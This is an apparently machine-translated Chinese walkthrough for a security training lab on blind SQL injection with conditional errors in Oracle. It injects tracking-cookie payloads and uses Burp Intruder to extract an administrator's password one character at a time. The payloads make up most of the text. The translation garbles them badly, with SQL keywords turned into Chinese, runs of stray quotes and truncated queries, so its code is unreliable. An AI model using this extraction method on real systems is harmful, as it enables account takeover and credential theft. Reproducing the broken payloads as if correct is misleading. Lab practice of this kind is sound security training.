实验室:有条件错误的盲目注射
这个实验室包含一个盲目注射脆弱性。该应用程序使用跟踪cookie进行分析,并执行包含已提交cookie的值的SQL查询。
SQL查询的结果未返回,并且根据查询是否返回任何行,该应用程序没有不同的响应。如果SQL查询导致错误,则该应用程序将返回自定义错误消息。
该数据库包含一个名为的不同表用户
,列叫用户名
和密码
。您需要利用盲人SQL注入找出密码的漏洞行政人员
用户。
要解决实验室,请登录行政人员
用户。
暗示
该实验室使用Oracle数据库。有关更多信息,请参阅SQL注入备忘单。
解决方案
- 访问商店的头版,并使用Burp Suite拦截和修改包含该请求的请求
跟踪号码
曲奇饼。为简单起见,假设cookie的原始价值是trackingId = xyz
。 修改
跟踪号码
cookie,在其中附加一个引号:trackingId = xyz'
验证收到错误消息。
- 现在将其更改为两个引号:
trackingid = xyz''
验证错误是否消失。这表明语法误差(在这种情况下,未关联的引号)对响应产生了可检测的影响。 现在,您需要确认服务器将注入解释为SQL查询,即错误是SQL语法错误,而不是其他类型的错误。为此,您首先需要使用有效的SQL语法构造子查询。尝试提交:
trackingId = xyz'||(select'')||'
在这种情况下,请注意查询似乎仍然无效。这可能是由于数据库类型 - 尝试在查询中指定可预测的表名称:
trackingId = xyz'||(从dual中select''''||'
由于您不再收到错误,这表明目标可能正在使用Oracle数据库,这需要全部
选择
说明明确指定表名称的语句。现在您已经制作了似乎是有效查询的内容,请尝试提交无效查询,同时仍保留有效的SQL语法。例如,尝试查询不存在的表名称:
trackingId = xyz'||(从not-a-aeal-table中选择'''||'
这次,返回错误。这种行为强烈表明您的注射正在后端处理为SQL查询。
只要您确保始终注入句法有效的SQL查询,就可以使用此错误响应来推断有关数据库的关键信息。例如,为了验证
用户
存在表,发送以下查询:trackingId = xyz'||(从用户中select''其中rownum = 1)||'
由于此查询没有返回错误,因此您可以推断出该表确实存在。请注意
rownum = 1
条件在这里很重要,以防止查询返回多个行以上,这会破坏我们的串联。您还可以利用此行为为测试条件。首先,提交以下查询:
trackingId = xyz'||(选择情况时(1 = 1)然后to_char(1/0)else'''''''''dual)||'
验证收到错误消息。
现在将其更改为:
trackingId = xyz'||(选择情况时(1 = 2)然后to_char(1/0)else''''''''dual dual)||'
验证错误是否消失。这表明您可以根据特定条件的真相有条件地触发错误。这
案子
语句测试条件并评估一个表达式,如果条件为真,则如果条件为false,则另一种表达式。前一种表达式包含一个划分的零,这会导致误差。在这种情况下,两个有效载荷测试条件1 = 1
和1 = 2
,并在条件为时收到错误真的
。您可以使用此行为来测试表中是否存在特定条目。例如,使用以下查询检查是否是用户名
行政人员
存在:trackingId = xyz'||(选择情况时(1 = 1),然后to_char(1/0)else'''''''''''''''''''''''''''''''''''''''''''
验证条件是正确的(收到错误),确认有一个用户称为
行政人员
。下一步是确定在密码中有多少个字符
行政人员
用户。为此,将值更改为:trackingId = xyz'||(选择length(password)> 1的情况,然后to_char(1/0)else'''''''''''''''''''''''''''''''''''''''''''''''''''
这种情况应该是正确的,确认密码的长度大于1个字符。
发送一系列后续值以测试不同的密码长度。发送:
trackingId = xyz'||(选择length(password)> 2的情况下,然后to_char(1/0)else''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''来自用户='管理员')||'
然后发送:
trackingId = xyz'||(选择length(password)> 3的情况下,然后to_char(1/0)else'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''to_char(1/0)''''''''''来自用户='管理员')||'
等等。您可以手动使用此操作Burp Repeater,因为长度可能很短。当条件停止真实(即,当错误消失时)确定密码的长度,实际上是20个字符长。
- 确定密码的长度后,下一步是测试每个位置的字符以确定其值。这涉及更多的请求,因此您需要使用打击者。使用上下文菜单将您要处理的请求发送给Burp Intuder。
- 在Burp入侵者的“位置”选项卡中,通过单击“清除§”按钮来清除默认有效载荷位置。
在“位置”选项卡中,将cookie的值更改为:
trackingId = xyz'||(选择substr(密码,1,1)='a'to_char(1/0)else''''的case'''''''''''''''''''''''''''
这使用
substr()
功能可以从密码中提取单个字符,并根据特定值进行测试。我们的攻击将循环到每个位置和可能的价值,依次测试每个位置。在决赛周围放置有效载荷位置标记
一个
cookie值中的字符。为此,只选择一个
,然后单击“添加§”按钮。然后,您应该将以下内容视为cookie值(请注意有效载荷位置标记):trackingId = xyz'||(选择substr(密码,1,1)='§a§'然后to_char(1/0)else'''的''从用户username ='管理员')||'
- 要测试每个位置的角色,您需要在定义的有效负载位置中发送合适的有效载荷。您可以假设密码仅包含小写字母数字字符。转到“有效载荷”选项卡,检查选择“简单列表”,然后在“有效载荷选项”下添加有效载荷在a -z和0-9中。。
- 通过单击“入门攻击”按钮或从入侵者菜单中选择“开始攻击”来启动攻击。
- 查看攻击结果,以在第一个位置找到角色的值。当发生错误时,该应用程序将返回HTTP 500状态代码,而HTTP 200状态代码正常。入侵者结果中的“状态”列显示了HTTP状态代码,因此您可以在此列中轻松找到使用500的行。该行的有效载荷是第一个位置的字符值。
现在,您只需要重新运行密码中每个角色位置的攻击即可确定其价值。为此,请返回到主burp窗口,然后返回Burp入侵者的位置选项卡,然后将指定的偏移量从1更改为2。然后,您应该将以下内容视为cookie值:
trackingId = xyz'||(选择substr(密码,2,1)='§A§'然后to_char(1/0)else''''从用户username ='管理员')||'结束的情况。
- 启动修改后的攻击,查看结果,并在第二个偏移量下注意角色。
- 继续此过程测试偏移量3、4等,依此类推,直到拥有整个密码为止。
- 在浏览器中,单击“我的帐户”以打开登录页面。使用密码登录为
行政人员
用户。